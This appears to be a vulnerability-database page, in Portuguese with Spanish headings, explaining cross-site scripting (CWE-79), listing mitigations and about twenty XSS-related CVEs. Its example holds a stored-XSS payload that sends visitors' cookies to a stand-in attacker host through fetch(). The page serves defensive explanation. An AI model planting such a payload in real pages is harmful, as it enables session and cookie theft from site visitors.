Fallos del tipo CWE-79

29.223 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2022-44463MEDIUMAEM Reflected XSS Arbitrary code executionEPSS 0.5%CVE-2023-4653MEDIUMCross-site Scripting (XSS) - Stored in instantsoft/icms2EPSS 0.5%CVE-2024-45127MEDIUMAdobe Commerce | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.5%CVE-2023-3092HIGHSMTP Mail <= 1.3.46 - Unauthenticated Stored Cross-Site Scripting via Email SubjectEPSS 0.5%CVE-2022-39398HIGHInfotelGLPI vulnerable to Cross-site ScriptingEPSS 0.5%CVE-2026-55692HIGHEmbedVideo Extension: Stored XSS via malformed src url with $wgEmbedVideoRequireConsent enabledEPSS 0.5%CVE-2023-5381MEDIUMElementor Addon Elements <= 1.12.7 - Authenticated (Administrator+) Stored Cross-Site ScriptingEPSS 0.5%CVE-2026-55690HIGHEmbedVideo Extension: Stored XSS via unsanitized service name in exception textEPSS 0.5%CVE-2023-4160MEDIUMWooCommerce PDF Invoice Builder <= 1.2.90 - Authenticated (Administrator+) Cross-Site ScriptingEPSS 0.5%CVE-2024-4350MEDIUMConcrete CMS version 9 below 9.3.3 and below 8.5.18 are vulnerable to Stored XSS in RSS DisplayerEPSS 0.5%CVE-2022-46855MEDIUMWordPress Responsive Pricing Table Plugin <= 5.1.6 is vulnerable to Cross Site Scripting (XSS)EPSS 0.5%CVE-2023-39518MEDIUMsocial-media-skeleton stored Cross-site Scripting vulnerabilityEPSS 0.5%CVE-2026-58487MEDIUMHedgeDoc: Stored HTML injection via email local-partEPSS 0.5%CVE-2025-67741MEDIUMIn JetBrains TeamCity before 2025.11 stored XSS was possible via session attributeEPSS 0.5%CVE-2026-69075MEDIUMStored Cross-Site Scripting via Vue Template Injection in FlowIntelEPSS 0.5%CVE-2024-1664MEDIUMResponsive Gallery Grid < 2.3.11 - Admin+ Stored XSSEPSS 0.5%CVE-2023-4007HIGHCross-site Scripting (XSS) - Stored in thorsten/phpmyfaqEPSS 0.5%CVE-2021-36887MEDIUMWordPress tarteaucitron.js – Cookies legislation & GDPR plugin <= 1.5.4 - Cross-Site Request Forgery (CSRF) vulnerability leading to Cross-Site Scripting (XSS)EPSS 0.5%CVE-2023-46282HIGHA vulnerability has been identified in Opcenter Execution Foundation (All versions < V2407), Opcenter Quality (All versions < V2312), SIMATIEPSS 0.5%CVE-2026-88921MEDIUMMISP: Unescaped HTML Injection in PDF Report Element RenderingEPSS 0.5%